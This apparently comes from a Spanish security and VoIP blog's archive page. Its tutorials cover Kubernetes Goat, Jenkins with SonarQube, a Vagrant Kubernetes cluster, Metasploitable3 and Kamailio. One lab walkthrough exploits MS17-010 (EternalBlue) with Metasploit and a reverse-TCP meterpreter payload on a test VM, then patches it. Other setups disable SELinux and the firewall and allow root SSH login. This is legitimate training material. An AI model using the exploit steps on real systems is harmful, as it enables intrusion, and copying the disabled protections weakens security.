Archivo

Posts Tagged ‘Linux’

Install Kubernetes Goat (ES)

junio 13, 2021 Deja un comentario
Kubernetes Logo

En estos dos ultimos años estoy muy involucrado en proyectos revisando intraestructuras basadas en contenedores Docker y Kubernetes, en esta busqueda encontré con este genial proyecto que facilita el aprendizaje de vulnerabilidades en Kubernetes.

Kubernetes Goat está diseñado para ser un entorno de clúster intencionalmente vulnerable para aprender y practicar la seguridad de Kubernetes. Es un proyecto creado por Madhu Akula.

En este articulo, veremos como realizar la instalación sobre un equipo con Ubuntu 20.04 y VirtualBox. Kubernetes Goat necesita una instalación previa de Minikube el cual facilita tener un cluster local de Kubernetes.

A.- Instalar Minikube

1.- Descarga de Minikube

Podemos descargar la última versión o una versión específica de la página de versiones de Minikube. Una vez descargado, necesitamos hacerlo ejecutable y agregarlo a nuestra RUTA:

$ curl -Lo minikube https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/

2.- Iniciar Minikube

Podemos iniciar Minikube con el comando de inicio de minikube, que inicia un clúster de un solo nodo con la última versión estable de Kubernetes.

$ minikube start

3.- Comprobar el estado

Con el comando de estado de minikube, mostramos el estado de Minikube:

$ minikube status

B.- Instalar Kubernetes Goat

1.- Descargar el proyecto

# git clone https://github.com/madhuakula/kubernetes-goat.git

# cd kubernetes-goat/

2.- Configurar la cuenta helm2 rbac e inicializar tiller

# kubectl apply -f scenarios/helm2-rbac/setup.yaml

# helm2 init –service-account tiller

3.- Desplegar Helm chart para verificar la configuración ,

implementación del escenario helm chart metadata-db

# helm2 install –name metadata-db scenarios/metadata-db/

4.- Desplegar los manifiestos de escenarios vulnerables

# kubectl apply -f scenarios/batch-check/job.yaml

# kubectl apply -f scenarios/build-code/deployment.yaml

# kubectl apply -f scenarios/cache-store/deployment.yaml

# kubectl apply -f scenarios/health-check/deployment.yaml

# kubectl apply -f scenarios/hunger-check/deployment.yaml

# kubectl apply -f scenarios/kubernetes-goat-home/deployment.yaml

# kubectl apply -f scenarios/poor-registry/deployment.yaml

# kubectl apply -f scenarios/system-monitor/deployment.yaml

# kubectl apply -f scenarios/hidden-in-layers/deployment.yaml

5.- Crear el forwardeo de puertos en los PODS para permitir el acceso local.

# bash access-kubernetes-goat.sh

6.- Igresar a Kubernetes Goat

Si todo salio bien , ahora podremos ingresar a la aplicación de la siguiente forma:

Ingresar a : http://127.0.0.1:1234/

Finalmente, Si desean practicar los escenarios pueden revizarlos aqui : https://madhuakula.com/kubernetes-goat/index.html

Espero les siva

@jroliva

Anuncio publicitario

Integración de Jenkins + SonarQube [DevSecOps]

febrero 25, 2021 2 comentarios

 

La Inspección continua de código como parte de la integración continua (CI) se ha hecho cada vez mas importante en la construcción de aplicaciones dentro de una estrategia de seguridad en la metodológica de DevOps o también llamado ahora DevSecOps.

En este escenario, implementaremos para el servidor de integración continua Jenkins como contenedor en Docker. Y la parte de inspección continua de código usaremos SonarQube, finalmente analizaremos el codigo de una Aplicación Web en PHP y sera la archi conocida Dann Vulnerable Web Application o DVWA.

Para lo cual asumiremos que nuestra aplicación se encuentra en GitHub/GitLab y necesitamos evaluar la calidad del código, bugs conocidos, vulnerabilidades,etc.

El Entorno

01 Maquina virtual con Centos 7 / IP 192.168.1.13
Docker y Docker-Compose instalado.

 

1.- Instalación de Jenkins y SonarQube en contenedor Docker

1.1.- Crear el archivo de docker compose y levantar los contenedores.

mkdir -p jenkins/jenkins_home ; cd jenkins
vim docker-compose.yaml



docker-compose up -d
docker ps

Si todo salió bien, en este punto tendremos levantados los dos contenedores 

Jenkins :      http://192.168.1.13:8080/
Sonarqube : http://192.168.1.13:9000/

 

2.- Configurar Jenkins para que se integre con Sonarqube.

2.1.- Establecer contraseña e instalación de plugins recomendados.

Ingrear a Jenkins http://192.168.1.13:8080/

La instalación pedirá el ingreso de la contraseña de inicialización ubicada en 

cat jenkins_home/secrets/initialAdminPassword

Luego procederá a instalar los plugins recomendados

Una vez terminanda la instalación y configurar el usuario «admin» habremos ingresado.

2.2.- Agregar el Plugin de Sonarqube en Jenkins

Ingresar : Manage Jenkins / Manage  Plugins / Available / SonarQube Scanner

 

Luego verificar que se instaló correctamente y elegir reiniciar Jenkins

2.3.- Agregar la URL del servidor Sonarqube.

Ingresar : Manage Jenkins / Configure System / SonarQube servers / Add SonarQube installations

Name : sonarqube
URL del servidor : http://192.168.1.13:9000/

2.4.- Agregar la versión del scaner para el servidor Sonarqube.

Ingresar : Manage Jenkins / Global tool configuration / Sonarqube Scanner / Add Sonarqube Scanner

Name : sonarqube
Install from maven central : Sonarqube Scanner 4.2.0.18.73

 

3.- Crear Job para analizar el codigo de la Aplicacion Web.

Nombre : code-inspection-webapp
Tipo : Freestyle project.


Dentro del Jobs indicar el repositorio donde se buscara el código fuente.

Source Code Management
Git / Repository URL : https://github.com/digininja/DVWA


Luego en «Build» agregar «Sonarqube scanner»

 

Finalmente indicar las propiedad del escaneo en «Analysis properties»

 

4.- Ejecurar Job para analisis de código fuente con Sonarqube desde Jenkins

 Ingresar al Job «code-inspection-webapp» y hacer clic en «Build Now»

Si todo salio bien, en el «console output» del Job nos mostrara que la tarea se ejecuto correctamente.

Si ingresamos el enlace nos llevará a dashboard de Sonarqube donde nos mostrará el reporte del analisis de codigo de la siguiente forma:

 

 

Paso siguiente, analizar todas las vulnerabiidades reportadas y bugs en el código por que esta claro que Sonar al ser una herramienta automatizada, nos arrojará una serie de falsos positivos y negativos se serán necesarios de revisar.

Una reflexión final, un Pentester puede aprender muy rápido conceptos de DevOps pero los DevOps pueden aprender rápido conceptos de seguridad, sobre todo ofensiva? Con capacidad de evaluar reportes en SonarQube o Owasp ZAP ?  yo creo que si, pero es evidente que todo ello requiere mucha especialización y perfiles adicionales, tener en cuenta que el mismo concepto de DevOps como tal, requería especialización, y ahora hablar de DevSecOps aún mas, debido a que no es solo agregar “herramientas” dentro del CI/CD si no taimen saber como interpretar y corregir los fallos encontrados, de lo contrario no servira para nada.

En el siguiente post vememos como agregar OWASP ZAP el CI/CD

Espero les sirva.
Saludos
@jroliva

Instalación de Cluster de Kubernetes con Vagrant

marzo 4, 2020 1 comentario

Como parte de las labores de despliegue de software, la automatizar los procesos de infraestructura como código, es vital, para las actividades de Pentesting / Ethical Hacking tener construir tus entornos y escenarios locales de prueba sirve infinitamente para poder realizar tus P.O.C.

Es así que aquí va el procedimiento para automatizar la instalacion de un Cluster de Kubernetes usando Vagrant en Centos 7, este es el Escenario.

Ubuntu 16.04.6 LTS
Vagrant 2.2.3

Este es Vagantfile

###########################################

# -*- mode: ruby -*-
# vi: set ft=ruby :

VAGRANTFILE_API_VERSION = «2»
##Variables de configuracion ###
INTERFASE_BRIDGE = «wlps01»
DIRECCION_IP_BRIDGE = «192.168.1.151»
MASCARA_RED = «255.255.255.0»
PUERTA_ENLACE = «192.168.1.1»
##Configuracion de la VM master
Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
config.vm.box = «centos/7»
config.disksize.size = ’50GB’
config.vm.network «public_network», bridge: INTERFASE_BRIDGE, ip: DIRECCION_IP_BRIDGE, netmask: MASCARA_RED, gateway: PUERTA_ENLACE
config.vm.hostname = «k8s-master»
config.vm.provider «virtualbox» do |v|
v.name = «k8s-master»
v.memory = 2048
v.cpus = 2
end
##Insertar llave SSH
config.ssh.insert_key = false
config.ssh.private_key_path = [‘~/.vagrant.d/insecure_private_key’, ‘~/.ssh/id_rsa’]
config.vm.provision «file», source: «~/.ssh/id_rsa.pub», destination: «~/.ssh/authorized_keys»
##Configuracion de SSH, SELINUX, IPTABLES, SWAP, FIREWALLD
config.vm.provision «shell», inline: <<-EOC
sudo sed -i -e «\\#PasswordAuthentication yes# s#PasswordAuthentication yes#PasswordAuthentication no#g» /etc/ssh/sshd_config
sudo sed -i -e «\\#PermitRootLogin prohibit-password# s#PermitRootLogin prohibit-password#PermitRootLogin yes#g» /etc/ssh/sshd_config
sudo sed -i -e «\\#SELINUX=enforcing# s#SELINUX=enforcing#SELINUX=disabled#g» /etc/selinux/config
sudo systemctl restart sshd.service
sudo setenforce 0
sudo modprobe br_netfilter
sudo echo ‘1’ > /proc/sys/net/bridge/bridge-nf-call-iptables
sudo sed -i ‘/swap/d’ /etc/fstab
sudo swapoff -a
sudo systemctl stop firewalld
sudo systemctl mask firewalld
echo «Instalacion de Docker»
sudo yum -y install vim yum-utils net-tools
sudo yum -y install epel-release
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
sudo yum-config-manager –add-repo=https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install -y docker-ce
echo «Instalacion de Kubernetes»
sudo yum-config-manager –add-repo=http://www.silcom.com.pe/soft/kubernetes.repo
sudo yum-config-manager –enable Kubernetes
sudo yum install -y kubelet kubeadm kubectl
echo «Fin de Instalacion»
EOC
##Reinicio de la VM
config.vm.provision :reload
##Configuracion e inicio de servicio docker y kunernestes
config.vm.provision «shell», env: {«VARIP» => «192.168.1.151»}, inline: <<-EOC
sudo sed -i ‘1i $VARIP k8s-master k8s-master’ /etc/hosts
sudo systemctl start docker && systemctl enable docker
sudo systemctl start kubelet && systemctl enable kubelet
sudo sed -i ‘s/cgroup-driver=systemd/cgroup-driver=cgroupfs/g’ /usr/lib/systemd/system/kubelet.service.d/10-kubeadm.conf
sudo systemctl daemon-reload
sudo systemctl restart kubelet
echo «Inicializacion de Cluster»
sudo kubeadm init –apiserver-advertise-address=$VARIP –pod-network-cidr=10.244.0.0/16
sudo mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
echo «Fin de Inicializacion de Cluster»
echo «Desplegar el pod network»
sudo kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml
echo «Pod network creado»
echo «FIN»
EOC
#Fin SSH
end

##############################################################3

Finalmente este es el video donde se muestra el despliegue :

Espero les sirva.
Saludos
@jroliva

 

Instalación de Metasploitable3 en Linux Mint/Ubuntu

enero 21, 2018 3 comentarios

Todos los que estamos relacionados en el mundo de Ethical Hacking y el Pentesting hemos usado Metasploitable la cual es una maquina virtual permite desarrollar ataques utilizando Metasploit Framework. La misma es utilizado para una diversidad de propósitos; como entrenamientos para la explotación de red, desarrollo de exploits, evaluación de software, entre otros propósitos. Metasploitable hasta la versión 2 era un disco duro la cual se instalaba fácilmente sobre VirtualBox o Vmware, sin embargo desde le 2012 que no se actualizaba y poco a poco venia perdiendo vigencia.

El año pasado la empresa Rapid7 creadores de la misma lanzaron la nueva versión  «Metasploitable3» la misma que hasta la fecha está basada en Windows lo cual cambia bastante toda la lógica llevada hasta el momento,  ya que su predecesor estaba basado en Linux.

Sin embargo esta nueva maquina tiene una serie de vulnerabilidad actuales muy interesantes que vale la pena revisar, a continuación veremos la forma de instalar la maquina, ya que la instalación de esta versión ha cambiado mucho.

Escenario :
S.O. Ubuntu Xenial 16.04
VirtualBox 5.2.4

1- Instalación de Prerrequisitos

Packer
wget https://releases.hashicorp.com/packer/1.1.3/packer_1.1.3_linux_amd64.zip?_ga=2.259436163.8806393.1516559508-2105737727.1516559508 -O packer_1.1.3_linux_amd64.zip
unzip packer_1.1.3_linux_amd64.zip
sudo mkdir /usr/local/packer
sudo mv packer /usr/local/packer/
nano ~/.profile
Al final del archivo agregar : export PATH=$PATH:/usr/local/packer
Luego el comando : source ~/.profile

Si todo salio bien al realizar el comando packer –version deberá responder de la siguiente forma.


Vagrant
wget https://releases.hashicorp.com/vagrant/2.0.1/vagrant_2.0.1_x86_64.deb?_ga=2.260144013.1615441003.1516560525-1954706866.1516560525 -O vagrant_2.0.1_x86_64.deb
sudo dpkg -i vagrant_2.0.1_x86_64.deb
vagrant plugin install vagrant-reload

Si todo salio bien deberíamos tener esta respuesta :
2.- Instalación de Metasploitable3

git clone https://github.com/rapid7/metasploitable3.git
cd metasploitable3/

Ahora comenzar con la construcción de la maquina virtual con el siguiente comando

packer build windows_2008_r2.json

Con ello, comenzara a descargar la ISO de Windows 2008 por tanto habrá que esperar a la descarga 😀
Luego comienza la construcción de la maquina virtual
Una vez finalizado el proceso nos mostrara lo siguiente :

Ahora proceder con el segundo paso de la construcción con el siguiente comando

vagrant box add windows_2008_r2_virtualbox.box –name=metasploitable3

Una vez culminado finalizamos la construcción  de la maquina con el comando que la importa hacia VirtualBox  :

vagrant up

Con ello tenemos finalizada la construcción de la maquina y la tendremos en la lista de maquina virtuales de virtual Box

Luego de identificarla corremos un nmap y vemos que tiene varios servicios para explorar.

3.- Guias
Finalmente les comparto algunas guías para que puedan practicar con Metasploitable3

http://www.hackingarticles.in/manual-penetration-testing-metasploitable-3/

http://ultimatepeter.com/metasploitable-3-meterpreter-port-forwarding/

http://www.hackingarticles.in/ftp-service-exploitation-metasploitable-3/

http://www.hackingarticles.in/penetration-testing-metasploitable-3-smb-tomcat/

http://www.hackingarticles.in/exploitation-metasploitable-3-using-glassfish-service/

http://www.hackingarticles.in/hack-metasploitable-3-using-mysql-service-exploitation/

Espero les sirva.
Saludos
Juan Oliva
@jroliva

 

 

 

 

 

 

 

 

Instalar Virtualbox Guest Additions en Kali Linux 2017.3

enero 14, 2018 3 comentarios

Este post es para mi para no olvidarme, espero le sirva a alguno 😀

Buscar la imagen adecuada
apt-cache search linux-image

instalar la imagen
apt-get install linux-image-4.14.0-kali3-amd64

Dependencia
apt-get install libelf-dev

Reiniciar
reboot

Instalar los hearders nuevos
apt-get install -y linux-headers-$(uname -r)

Luego montar el disco de Guest Additions

Una vez montado instalar
cp /media/cdrom0/VBoxLinuxAdditions.run /root
cd /root/
chmod a+x VBoxLinuxAdditions.run
./VBoxLinuxAdditions.run

 

 

Categorías: Debian, Hacking, Linux, Manuales y tutoriales Etiquetas: , ,

Alta disponibilidad con Issabel PBX

agosto 24, 2017 21 comentarios

En escenarios donde la continuidad del negocio es un factor clave, contar con alta disponibilidad para servicios que se consideran críticos dentro de una organización es clave. En este caso concreto, el presente documento presenta la receta para implementar alta disponibilidad para la plataforma de comunicaciones Issabel PBX.

El software que hemos usado para tener alta disponibilidad se llama Pacemaker así como corosync, los cuales reemplazan al muy conocido heartbeat, el cual se encuentra descontinuado para Centos 7 que es el sistema operativo base de Issabel.

Si bien es cierto la plataforma Issabel, es sumamente estable como para confiar toda la carga a un solo recurso, no es ajena a fallas de otro tipo como factores, eléctricos, climáticos, de hardware, etc. Es por ello en caso de que uno de las plataformas fallase por los factores ya mencionados, dejaría sin comunicaciones a la organización, por lo tanto, es crítico tener el servicio en alta redundancia de forma que si un servidor falla, otro asume el servicio de manera transparente.

Espero les sirva el documento :

Descargar : Paper Alta disponibilidad con Issabel PBX

 

 

BeFree – Evento de Comunicaciones Open Source en Latinoamerica

junio 19, 2017 Deja un comentario

Como algunos saben, durante varios años vengo trabajando en temas de VoIP que es mi segunda pasión profesional luego del #Hacking y la seguridad , En este tiempo he estado involucrado en varias iniciativas como Elastix y FreePBX inclusive, siendo instructor en su momento del primero en su momento.

Si bien es cierto todo en la vida cambia y aveces bastante rápido, siempre he proclamado y seguido la linea del uso del código abierto para soluciones de VoIP – Telefonía IP, ya que esta provee un punto de inflexión para el crecimiento profesional de los individuos que la utilizamos, personalmente he podido modificar, crear, programar nuevas funcionalidades, modificar código para brindar seguridad a mi gusto, lo cual potencia en y un 1000% de una solución de comunicaciones unificadas.

Es así, que he tenido el honor de ser invitado como speaker/conferencista al BeFreeEvento de Comunicaciones Open Source en Latinoamerica, a desarrollarse este 21 de Junio en la ciudad de México, BeFree es un evento que busca fortalecer la comunidad de Comunicaciones Unificadas Open Source y difundir innovación en tecnologías emergentes, en el marco de estas ideas, se difundirá el ecosistema de Issabel (PBX IP basada en Software Libre y de Código Abierto) que busca en pocas palabras, apunta a ser la propuesta a muy largo plazo ante la desaparición de Elastix, la cual por supuesto ha concitado la atención de la prensa en México, como se muestra a continuación.

BeFree, estará compuesto de exposiciones, conferencias, talleres y un hacktaton, este ultimo es un espacio muy interesante desarrolladores, en donde podrán participar de un maratón de creación software o “Addons” para resolver alguna problemática en concreto.

Por otro lado también estarán presentes personalidades del mundo VoIP/Asterisk como Nicolas Gudiño – Creador de Asternic Call Center , David Duffett – Director, Comunidad Mundial de Asterisk en DIGIUM , Alfio Muñoz Experimentado Instructor de Asterisk , Saul Ibarra – Senior Software Developer en Atlassian “Jitsi”

Finalmente, brindaré una charla denominada » @IssabelIP una relación segura» en donde mostrare pasos muy prácticos para fortalecer la plataforma y minimizar riesgos de seguridad en una plataforma IP PBX basada en Asterisk.

Es así que si estas en México, no puedes de dejar de asistir el BeFree y si eres lector de este blog, por favor acércate que sera un inmenso gusto poder platicar de los temas que nos interesan.

Nos vemos en el BeFree!!

 

Categorías: Asterisk, Centos, Eventos, Linux Etiquetas: , , , , ,

Explotando Vulnerabilidad MS17-010 o WannaCry

junio 1, 2017 5 comentarios

El pasado 12 de Mayo durante el desarrollo del Peruhack en Lima-Perú estallaba la noticia de un ataque global del ahora famoso ramsomware «Wanacry»  arrasando múltiples empresas, grandes y extra grandes.

La duda es, como funciona Wanacry ?
El punto de entrada inicial no era muy diferente a los ramsomware que han aparecido anteriormente y se trata de infección via corre electrónico atraves de adjuntos con malware que explotaba una vulnerabilidad hasta esa fecha «no tan conocida» luego se expandía por la redes colindantes explotando la misma vulnerabilidad.

Ello es en resumen, técnicamente hablando , la vulnerabilidad que explotada por el ransomware WanaCrypt0r o WanaCry es la denominada por el boletin oficial de Microsoft como MS17-010 la cual afecta primordialmente a Windows 7 y Windows 2008 server que fue remediada por Microsoft el 14 de marzo es decir existe un parche desde esa fecha. El tema es que existe una herramienta llamada «EternalBlue» liberada por ShadowBrokers ( un grupo de hackers involucrados en el hackeo a la NSA) la cual explota la vulnerabilidad y afecta al protocolo SMB ( Servicio para compartir archivos e impresoras) que ahora está portada a Mestasploit por Elevenpaths.

Es por ello que su propagación fue masiva debido a que basta que una sola maquina se infecte para que se propague en toda una red LAN.

A continuación vamos a hacer una prueba de concepto paso a paso de como se explota la vulnerabilidad y luego aplicaremos el parche y probaremos nuevamente.

Escenario
Atacante : Kali Linux 2016_1 / IP 192.168.56.102
Atacado : Windows 7 64Bits / IP 192.168.56.101

1- Detección de Vulnerabilidad MS17-010 (Wanacry) con Nmap
cd /usr/share/nmap/scripts
wget https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse
nmap -d -sC -p445 –script smb-vuln-ms17-010.nse 192.168.56.101

Como se puede ver el scrip de nmap nos indica que el sistema operativo es vulnerable a ms17-010 ,con la confirmación vamos a explotar.

2- Explotando la Vulnerabilidad MS17-010 (Wanacry) con Metasploit

2.1- Instalación del exploit Eternalblue-Doublepulsar en Metasploit

cd /root
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cp /root/Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

2.2..- Atacando Windows 7 64Bits vulnerable

msfconsole
use exploit/windows/smb/eternalblue_doublepulsar
show info
show targets
set TARGET 8
set PAYLOAD windows/meterpreter/reverse_tcp
set PROCESSINJECT explorer.exe
set LHOST 192.168.56.102
set LPORT 4444
set RHOST 192.168.56.101
exploit

Como vemos se genera la sesión de Meterpreter

2.1- Aplicando Parche y Probando que la vulnerabilidad

2.1- Aplicando Parche UPDATE de seguridad para MS17-010

Descargamos la actualización oficial desde :

http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212

Aplicamos el parche

2.2- Validando que la vulnerabilidad fue parchada

Validando con Nmap

Validando nuevamente con Metasploit

Como vemos luego de a ver aplicado el parche ya no es posible tomar el control del sistema, asi que a realizar las actualizaciones antes que se infecten.

Saludos
Juan Oliva
@jroliva

 

Kamailio entendiendo lógica de enrutamiento

junio 24, 2016 6 comentarios

kamailio_logicaUno de los aspectos mas importantes y a la vez complicados de entender en Kamailio es la lógica de enrutamiento, debido a que tiene mucho que ver con el comportamiento del protocolo SIP.

Luego de mi charla en el ElastixWorld 2015 he tenido varias consulta referente a Kamailio y su comportamiento, un poco de ello lo explique en la charla «Usando el módulo PIKE en Elastix MT»  sin embargo en este post vamos a dar un alcance un poco mayor a este tema.

Primero vemos de manera genera lo que trae el archivo de configuración.

kamailioEsta imagen representa el esquema a nivel de parametrización de un archivo kamailio.cfg

Ahora vamos a ver cada punto:

1.- Definiciones Globales
Variables que vamos a usar a lo largo de la lógica de enrutamiento, las cuales pueden estar referidas a parámetros de log, direcciones IP y puertos que va escuchar el servidor, entre otras.

Tiene la siguiente forma:

Kamailio_globals2.- Sección de Módulos
Es donde definimos o «cargamos» los módulos vamos a user, por ejemplo el modulo de MYSQL  para guardar los registros en base de datos, o el modulo de TLS para cifrado de la señalización.

Tienen las siguiente forma:

kamailio_modules3.- Sección de configuración de módulos
En esta sección de parametrizan o configuran los módulos que hemos cargado en la sección  anterior, es muy importante configurar los módulos adecuadamente, ya que en algunos casos se activan con configuraciones por defecto, lo cuales pueden producir a la larga efectos extraños en el comportamiento.

Tienen la siguiente forma:

kamailio_modules4.- Bloques de rutas o lógica de enrutamiento
Esta es la sección es «clave» en el archivo de configuración ya que va establecer todo el camino que va seguir las peticiones SIP que recibamos, aquí hay que decir que no existe un patrón único, ya que uno puede hacer su lógica tan simple o tan compleja como lo desee, es decir con mas o menos bloques de rutas, sin embargo existen ciertos patrones que uno siempre va respetar o encontrar en otros archivos, estos son bloques de rutas que normalmente vamos a encontrar:

  • Principal (Main ó request_route)
  • Secundarias (REQINIT, WITHINDLG,REGISTRAR)
  • Failure (failure_route)
  • Branch (branch_route)

En esquema que pude realizar para mi autocompasión de un esquema de enrutamiento maso menos complejo:

kamailioComo se puede apreciar todo parte del bloque «Main» o «Request Route» y va ingresando a los demás bloques en donde cada uno tiene un objetivo puntual aplicado a la solicitud SIP entrante.

El bloque «REQINIT» tiene un papel muy importante ya que hace la mayoría de la comprobaciones previas como la evaluación de seguridad entre otras cosas.

Luego los métodos secundarios realizan el registro, localización y reenvío de las solicitudes SIP a otro server, un Asterisk por ejemplo. según sea el caso.

Enlaces:
https://www.kamailio.org/wiki/cookbooks/4.0.x/core
https://www.kamailio.org/wiki/tutorials/getting-started/main

Bueno espero que este post les amplié el panorama respecto al funcionamiento de kamailio, mas adelante desmenuzaremos otros aspectos de este formidable software.

Saludos
Juan Oliva

 

 

 

 

 

 

Instalación de Kamailio en Centos 7

junio 16, 2016 Deja un comentario

kamailioEs indudable que Kamailio es uno de los software mas potentes en el mundo de la VoIP , por los diferentes escenarios que puedes construir relativos a seguridad, escalabilidad, redundancia y todo lo que termina en «dad»

Sin embargo mucha gente que comienza a aprender su funcionamiento se choca con la curva de aprendizaje, que es necesario tener para entender este programa, como lo dije en un tweet «si no te gusta la consola, kamailio no es lo tuyo» sin embargo nada es imposible de aprender por su puesto.

kamailioAntes de comenzar definamos rápidamente un par de cosas, Kamailio no es igual ni parecido a Asterisk, formalmente Asterisk es lo que se llamaría un «back to back user agent» o «B2UA» el cual es utilizado tradicionalmente para ser una PBX IP ya que cuenta con un sin numero de aplicaciones para un PLANTA IP como voicemail, IVR, Colas,etc,etc.

kamailio

En cambio Kamailio es un SIP PROXY en todos los sentidos, como su nombre lo dice, este tipo de software solo conversa SIP y nada mas, el cual puede trabajar como proxy proiamente, location server, registrar server, servidor de presencia, call routing (LCR) los cuales son algunos de los roles en los que puede trabajar.

kamailioAhora la pregunta sería, para los nativos Asterisk, puedo usar Kamailio como lo uso con Asterisk ?
Pues la respuesta sería que no, ya que si bien es cierto ambos trabajar para brindar servicios de SIP VoIP tienen diferentes usos.

Entonces para que uso Kamailio?
Se puede usar para extender funcionalidades que de pronto Asterisk queda limitado, como por ejemplo, escalar usuarios, ya que Kamailio solo trabaja con SIP su consumo de procesamiento es mucho menor al de Asterisk y puede trabajar como servidor de registro, tambien puedo usarlo para balancear carga hacia un conjunto de servidores Asterisk, o para que sea mi servidor de proteccion hacia internet, solo por citar algunos ejemplos.

kamailioEntonces puedo integrar Asterisk con Kamailio ?
Si, puedo integrarlo de muchas maneras en realidad, algunas muy sencillas otras mas complicadas pero si se puede, de hecho hay varios proyectos y/o productos que han integrado con gran exito Kamalio-Asterisk como Elastix MT SIP WISE

Una vez que hemos revisado un poco para que podemos usar Kamailio, vamos a comenzar con este primer post sobre como instalar Kamailio sobre Centos 7 en una instalación mínima.

1.- Configurar el sistema base
Luego de instalar Centos 7 al mínimo es necesario «arreglar» un par de cosas

Instalar editor, ifconfig , EPEL
yum install net-tools vim
yum -y install epel-release

Desactivar SELINUX
vi /etc/selinux/config
SELINUX=disabled

Desactivar Firewall
systemctl disable firewalld
systemctl status firewalld

2.- Instalar Kamailio
Ahora vamos a instalar desde los repositorios.

Agregar un repositorio
vi /etc/yum.repos.d/kamailio.repo

[kamailio]
name=RPMs for Kamailio on CentOS 7
type=rpm-md
baseurl=http://rpm.kamailio.org/stable/CentOS_7/
gpgcheck=1
gpgkey=http://rpm.kamailio.org/stable/CentOS_7/repodata/repomd.xml.key
enabled=1

Instalar Kamailio básico
yum install kamailio kamailio-utils kamailio-debuginfo

3.- Crear un archivo de configuración básico

vim /etc/kamailio/kamailio.cfg

##### Inicio
debug=2
log_stderror=yes
fork=yes
mpath=»/usr/lib64/kamailio/modules»
loadmodule «pv.so»
loadmodule «xlog.so»

route {
xlog(«L_INFO»,»Requerimiento entrante: $rm de $si a $ru \n»);
forward();
}

onreply_route {
xlog(«L_INFO»,»Respuesta entrante: $rm $rr – de $si a $ru \n»);
}
##### Fin

4.- Levantar el servicio y revisar LOG

Levantamos el servicio y si todo está bien veremos esto
kamailio
También es necesario, sobre todo si salen errores verificar los logs

tail -f /var/log/messages
kamailio

Algunos Links que deberías ver si te interesa saber un poco mas de Kamailio :

Kamailio :: A Quick Introduction
http://es.slideshare.net/oej/kamailio-a-quick-introduction

Kamailio – The Story for Asterisk
http://es.slideshare.net/miconda/kamailiothestory

Usando el módulo PIKE en Elastix MT
http://es.slideshare.net/elastixorg/usando-el-mdulo-pike-en-elastix-mt?qid=db7c2bb7-5d61-4190-a76d-89dd0f97565a&v=&b=&from_search=24

 

En otros post veremos un poco mas kamailio y algunas aplicaciones practicas.

 

Espero les sirva.
Saludos
Juan Oliva